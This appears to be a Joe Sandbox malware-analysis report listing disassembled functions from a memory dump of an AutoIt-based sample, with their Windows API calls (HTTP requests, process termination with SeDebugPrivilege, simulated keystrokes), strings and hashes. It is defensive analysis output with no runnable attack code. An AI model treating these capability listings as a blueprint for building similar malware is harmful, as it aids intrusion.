API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: 2bf2753343da393f51c2340d4a69bfc9dc1d74ad213fd2b03b889e7328f66409
Instruction ID: a9151392470a5ab0273beeccc94c520d83bd9ddd335f31b64d256bcbe5446197
Opcode Fuzzy Hash: 2bf2753343da393f51c2340d4a69bfc9dc1d74ad213fd2b03b889e7328f66409
Instruction Fuzzy Hash: 2071F134400209DFCF25DF64C984AFB7BBAFF4A360F284269EE559A2A6C3318841DF50

Function 0022359C Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 150COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,00000000), ref: 002235E4

Part of subcall function 001B9CB3: _wcslen.LIBCMT ref: 001B9CBD

LoadStringW.USER32(00282390,?,00000FFF,?), ref: 0022360A

Strings

^ ERROR, xrefs: 002236C9
Line %d (File "%s"):, xrefs: 0022366B
"%s" (%d) : ==> %s:%s%s, xrefs: 00223724
Error: , xrefs: 002236EF
"%s" (%d) : ==> %s:, xrefs: 00223742

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: LoadString$_wcslen
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 4099089115-2391861430
Opcode ID: c950b8d737b197eddc66580419c71fd42bf2c3bade2ab20d9a6997849cb504ea
Instruction ID: 724a1a38a22bc7e7eca98f7ffe14f5cd37bb2485d8f9d8fce6bb561f63de517b
Opcode Fuzzy Hash: c950b8d737b197eddc66580419c71fd42bf2c3bade2ab20d9a6997849cb504ea
Instruction Fuzzy Hash: 5651817181021ABBCF14EBE0DC96EEEBB78AF24300F144165F105721A1DB355BA9DF60

Function 0022C253 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0022C272
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0022C29A
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 0022C2CA
GetLastError.KERNEL32 ref: 0022C322
SetEvent.KERNEL32(?), ref: 0022C336
InternetCloseHandle.WININET(00000000), ref: 0022C341

Strings

, xrefs: 0022C2BB

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: 74e92d7042cc3be609bb2ca9771838d1dbc8120cd77da6a3460ca8d18accc1b1
Instruction ID: 9ed28aa6512852039613462d4c04f8608024dfccc738d4038b95d0280da6b2d5
Opcode Fuzzy Hash: 74e92d7042cc3be609bb2ca9771838d1dbc8120cd77da6a3460ca8d18accc1b1
Instruction Fuzzy Hash: 85319FB1510614BFD721DFA8AC88AAF7BFCEB49744B20891EF44697210DB70DD548B60

Function 0021989B Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 74windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,001F3AAF,?,?,Bad directive syntax error,0024CC08,00000000,00000010,?,?,>>>AUTOIT SCRIPT<<<), ref: 002198BC
LoadStringW.USER32(00000000,?,001F3AAF,?), ref: 002198C3

Part of subcall function 001B9CB3: _wcslen.LIBCMT ref: 001B9CBD

MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 00219987

Strings

., xrefs: 0021996D
Line %d:, xrefs: 00219912
Line %d (File "%s"):, xrefs: 0021992D
Error: , xrefs: 00219955
%s (%d) : ==> %s.: %s %s, xrefs: 002198F1

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: HandleLoadMessageModuleString_wcslen
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 858772685-4153970271
Opcode ID: 39415987737994fdd0b3e9a50b9fec106113cb3f32a4d0daf8abbefd94563701
Instruction ID: 56a04940102a2afc93b18488505f8d456e9172b8ea1fe5de1b9f85c27f136d01
Opcode Fuzzy Hash: 39415987737994fdd0b3e9a50b9fec106113cb3f32a4d0daf8abbefd94563701
Instruction Fuzzy Hash: BF219131C1021EBBCF15AF90CC1AEEE7B79FF29700F044459F519660A2EB719AA8DB10

Function 0021209F Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 71windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 002120AB
GetClassNameW.USER32(00000000,?,00000100), ref: 002120C0
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 0021214D

Strings

details, xrefs: 002120FB
SHELLDLL_DefView, xrefs: 002120CC
list, xrefs: 0021212F
largeicons, xrefs: 002120E1
smallicons, xrefs: 00212115

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: ClassMessageNameParentSend
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1290815626-3381328864
Opcode ID: 317405fb5ba53032a730e98cc68807fba30ce9b08d3a362fe86c41d7c951d7a2
Instruction ID: 3051592b9f18bf4e19a4371c430073c4c9f5e55aef3558c681dea36d4a54ac39
Opcode Fuzzy Hash: 317405fb5ba53032a730e98cc68807fba30ce9b08d3a362fe86c41d7c951d7a2
Instruction Fuzzy Hash: F1113A7A6A8717FBF605A620EC0ADFA73DCCB26324B205016FB0DA50D2FBB158B95514

Function 001E8D45 Relevance: 13.8, APIs: 9, Instructions: 300COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 629441d6ac22097756cdbf81a5eb03b7ca9482d6e690c000f2637c866e3c2010
Instruction ID: 992875fae9e2e0d7e7d18e04d67103ddd39cea4b22b696c918adcabb8534bb98
Opcode Fuzzy Hash: 629441d6ac22097756cdbf81a5eb03b7ca9482d6e690c000f2637c866e3c2010
Instruction Fuzzy Hash: 68C13574D04689AFCF11DFAAD845BADBBB4BF19310F044199F919AB392CB308A41CB60

Function 001ECE90 Relevance: 13.7, APIs: 9, Instructions: 209COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 001ECEB7
_free.LIBCMT ref: 001ECF22
_free.LIBCMT ref: 001ECF48
_free.LIBCMT ref: 001ECF71
_free.LIBCMT ref: 001ECFA9
_free.LIBCMT ref: 001ECFDA
_free.LIBCMT ref: 001ED01B
SetEnvironmentVariableA.KERNEL32(00000000,00000000), ref: 001ED09C
_free.LIBCMT ref: 001ED0B5

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: _free$EnvironmentVariable___from_strstr_to_strchr
String ID:
API String ID: 1282221369-0
Opcode ID: dbd94bf04ffae7e0dc767e38538846ed0eb98f8adb67894b7d944548444da32c
Instruction ID: 9448131646a46eecf4e009993c7cb3aa7733c255ffdbfe6cd3dced690ce7c339
Opcode Fuzzy Hash: dbd94bf04ffae7e0dc767e38538846ed0eb98f8adb67894b7d944548444da32c
Instruction Fuzzy Hash: 65619872904BD0AFDB25AFB6AC95A6E7BE9EF12720F04416DF80197282D7319D0287D0

Function 002450D4 Relevance: 13.7, APIs: 9, Instructions: 162windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00002001,00000000,00000000), ref: 00245186
ShowWindow.USER32(?,00000000), ref: 002451C7
ShowWindow.USER32(?,00000005,?,00000000), ref: 002451CD
SetFocus.USER32(?,?,00000005,?,00000000), ref: 002451D1

Part of subcall function 00246FBA: DeleteObject.GDI32(00000000), ref: 00246FE6

GetWindowLongW.USER32(?,000000F0), ref: 0024520D
SetWindowLongW.USER32(?,000000F0,00000000), ref: 0024521A
InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 0024524D
SendMessageW.USER32(?,00001001,00000000,000000FE), ref: 00245287
SendMessageW.USER32(?,00001026,00000000,000000FE), ref: 00245296

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Window$MessageSend$LongShow$DeleteFocusInvalidateObjectRect
String ID:
API String ID: 3210457359-0
Opcode ID: 5f53657279bce1545cc74510cac553a5ef139d41ec658ed117ea850a1f4a39a6
Instruction ID: 3fd3372c7f3bc35e78e2e369ee3ccb4151081684f5a2983a7fd202c0c8182aad
Opcode Fuzzy Hash: 5f53657279bce1545cc74510cac553a5ef139d41ec658ed117ea850a1f4a39a6
Instruction Fuzzy Hash: D351C434A71A29BFEF289F24CC49BD93B65FB05321F144012F99D962E2C3B599A0DF41

Function 001C8B06 Relevance: 13.7, APIs: 9, Instructions: 155windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,?,00000010,00000010,00000010), ref: 00206890
ExtractIconExW.SHELL32(?,?,00000000,00000000,00000001), ref: 002068A9
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 002068B9
ExtractIconExW.SHELL32(?,?,?,00000000,00000001), ref: 002068D1
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 002068F2
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,001C8874,00000000,00000000,00000000,000000FF,00000000), ref: 00206901
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 0020691E
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,001C8874,00000000,00000000,00000000,000000FF,00000000), ref: 0020692D

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend
String ID:
API String ID: 1268354404-0
Opcode ID: 7efe0e96d95a9bdda34cd85ff29ce0deb288df7d859e9b30ad902be6547de55e
Instruction ID: c79766a7a59a2e5de46d3c5623e713e3d79385858b19b39b82748e22eeb752dd
Opcode Fuzzy Hash: 7efe0e96d95a9bdda34cd85ff29ce0deb288df7d859e9b30ad902be6547de55e
Instruction Fuzzy Hash: 3151677461030AAFDB248F28DC99FAA7BB5EB68750F104518F906972E0DB70EDA0DB50

Function 0022C143 Relevance: 13.6, APIs: 9, Instructions: 95networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 0022C182
GetLastError.KERNEL32 ref: 0022C195
SetEvent.KERNEL32(?), ref: 0022C1A9

Part of subcall function 0022C253: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0022C272
Part of subcall function 0022C253: GetLastError.KERNEL32 ref: 0022C322
Part of subcall function 0022C253: SetEvent.KERNEL32(?), ref: 0022C336
Part of subcall function 0022C253: InternetCloseHandle.WININET(00000000), ref: 0022C341

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Internet$ErrorEventLast$CloseConnectHandleOpen
String ID:
API String ID: 337547030-0
Opcode ID: f746b87357040ae6cf16cd9ee5dfd8f81f740ab5a19bffbfcae2a48602dd4575
Instruction ID: 4e4faa33bd0ee99fcea85604f74e43310bc9d6f4efe8c933af47d59bc3963232
Opcode Fuzzy Hash: f746b87357040ae6cf16cd9ee5dfd8f81f740ab5a19bffbfcae2a48602dd4575
Instruction Fuzzy Hash: 3A319E75111611FFDB219FE9EC08A6ABBE8FF19300B20451EF95A87610DB71E8209BA0

Function 002125A2 Relevance: 13.6, APIs: 9, Instructions: 60sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00213A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00213A57
Part of subcall function 00213A3D: GetCurrentThreadId.KERNEL32 ref: 00213A5E
Part of subcall function 00213A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,002125B3), ref: 00213A65

MapVirtualKeyW.USER32(00000025,00000000), ref: 002125BD
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 002125DB
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000), ref: 002125DF
MapVirtualKeyW.USER32(00000025,00000000), ref: 002125E9
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 00212601
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000), ref: 00212605
MapVirtualKeyW.USER32(00000025,00000000), ref: 0021260F
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00212623
Sleep.KERNEL32(00000000,?,00000101,00000027,00000000,?,00000100,00000027,00000000), ref: 00212627

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: 8492247df2b614395b7fd3ba8b6571a08818850390aae1db28442ded768b4df0
Instruction ID: 8670764812d8aadf08e8796a52254f4cdd5569b2a8e19ee2ddc8472891ad39d6
Opcode Fuzzy Hash: 8492247df2b614395b7fd3ba8b6571a08818850390aae1db28442ded768b4df0
Instruction Fuzzy Hash: EF01D830791650BBFB1067689C8EF993F9DDF9EB11F200011F31CAE0D1C9E114548EA9

Function 00211803 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,?,00000000,?,00211449,?,?,00000000), ref: 0021180C
HeapAlloc.KERNEL32(00000000,?,00211449,?,?,00000000), ref: 00211813
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00211449,?,?,00000000), ref: 00211828
GetCurrentProcess.KERNEL32(?,00000000,?,00211449,?,?,00000000), ref: 00211830
DuplicateHandle.KERNEL32(00000000,?,00211449,?,?,00000000), ref: 00211833
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00211449,?,?,00000000), ref: 00211843
GetCurrentProcess.KERNEL32(00211449,00000000,?,00211449,?,?,00000000), ref: 0021184B
DuplicateHandle.KERNEL32(00000000,?,00211449,?,?,00000000), ref: 0021184E
CreateThread.KERNEL32(00000000,00000000,00211874,00000000,00000000,00000000), ref: 00211868

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: 77fef418269eb32d0043ec0e1526daf85c0fdf40414552542f7ae1e47fecb40d
Instruction ID: c8c188af9f18068410a5f04eaa3ec97e857529c2deb01aaed03dbcbf6ff2349f
Opcode Fuzzy Hash: 77fef418269eb32d0043ec0e1526daf85c0fdf40414552542f7ae1e47fecb40d
Instruction Fuzzy Hash: 1301BF75241304BFE750AFA9EC4DF573BACEB8AB11F114411FA09DB191C6709810CB20

Function 0023A0E2 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 160COMMON

Download Yara Rule

APIs

Part of subcall function 0021D4DC: CreateToolhelp32Snapshot.KERNEL32 ref: 0021D501
Part of subcall function 0021D4DC: Process32FirstW.KERNEL32(00000000,?), ref: 0021D50F
Part of subcall function 0021D4DC: CloseHandle.KERNELBASE(00000000), ref: 0021D5DC

OpenProcess.KERNEL32(00000001,00000000,?), ref: 0023A16D
GetLastError.KERNEL32 ref: 0023A180
OpenProcess.KERNEL32(00000001,00000000,?), ref: 0023A1B3
TerminateProcess.KERNEL32(00000000,00000000), ref: 0023A268
GetLastError.KERNEL32(00000000), ref: 0023A273
CloseHandle.KERNEL32(00000000), ref: 0023A2C4

Strings

SeDebugPrivilege, xrefs: 0023A18F

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: d3e5282b53ce95bcc04f7374c77b8ce8235fee3ccc2be415f74f5ee35ce45dc2
Instruction ID: 2911516588e583c0a413bff8867252afe475c799f748e3adc490402c93024448
Opcode Fuzzy Hash: d3e5282b53ce95bcc04f7374c77b8ce8235fee3ccc2be415f74f5ee35ce45dc2
Instruction Fuzzy Hash: 5F61B2742142429FD720DF18C494F66BBE1AF54318F18849CF8AA8B7A3C776EC55CB92

Function 00243886 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 141windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00243925
SendMessageW.USER32(00000000,00001036,00000000,?), ref: 0024393A
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00243954
_wcslen.LIBCMT ref: 00243999
SendMessageW.USER32(?,00001057,00000000,?), ref: 002439C6
SendMessageW.USER32(?,00001061,?,0000000F), ref: 002439F4

Strings

SysListView32, xrefs: 002438F7

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: MessageSend$Window_wcslen
String ID: SysListView32
API String ID: 2147712094-78025650
Opcode ID: 5e43e060364582cee46be866e0d97a782bee539408c81bf6cf81b542b1cae49d
Instruction ID: 5fe5b5696987195ce83fcb5d9b300cb03b2008438e994d11e399c754490c2df4
Opcode Fuzzy Hash: 5e43e060364582cee46be866e0d97a782bee539408c81bf6cf81b542b1cae49d
Instruction Fuzzy Hash: 8941D571A10219ABEF25DF64CC49FEA7BA9EF48350F100526F958E7281D7B19DA0CB90

Function 0021BC5E Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 0021BCFD
IsMenu.USER32(00000000), ref: 0021BD1D
CreatePopupMenu.USER32 ref: 0021BD53
GetMenuItemCount.USER32(013A5390), ref: 0021BDA4
InsertMenuItemW.USER32(013A5390,?,00000001,00000030), ref: 0021BDCC

Strings

2, xrefs: 0021BD37
0, xrefs: 0021BCA8

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup
String ID: 0$2
API String ID: 93392585-3793063076
Opcode ID: 60b17d8eea2dab51244508b13612807961ee3611eb6bc55ccc25b439fefb4f95
Instruction ID: be9c64af493d05ef6560b951d34ad79be8ff2117aee1805cf96f5f206ec4b74a
Opcode Fuzzy Hash: 60b17d8eea2dab51244508b13612807961ee3611eb6bc55ccc25b439fefb4f95
Instruction Fuzzy Hash: EB51C47061020ADBDF1ACFA8E8C8BEDBBF4BF65314F244169E411E7290D7709991CB51

Function 0021C874 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 81windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 0021C913

Strings

warning, xrefs: 0021C8FC
blank, xrefs: 0021C895
question, xrefs: 0021C8CC
info, xrefs: 0021C8B4
stop, xrefs: 0021C8E4

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: a1905cbd398cf661b782866aeff96566757462a374109dfa7070f89421e7bf65
Instruction ID: 6af9bd791ced0b49130d2266d41dc03ec1e1b07ee5b48597cca25cc62cfbdca2
Opcode Fuzzy Hash: a1905cbd398cf661b782866aeff96566757462a374109dfa7070f89421e7bf65
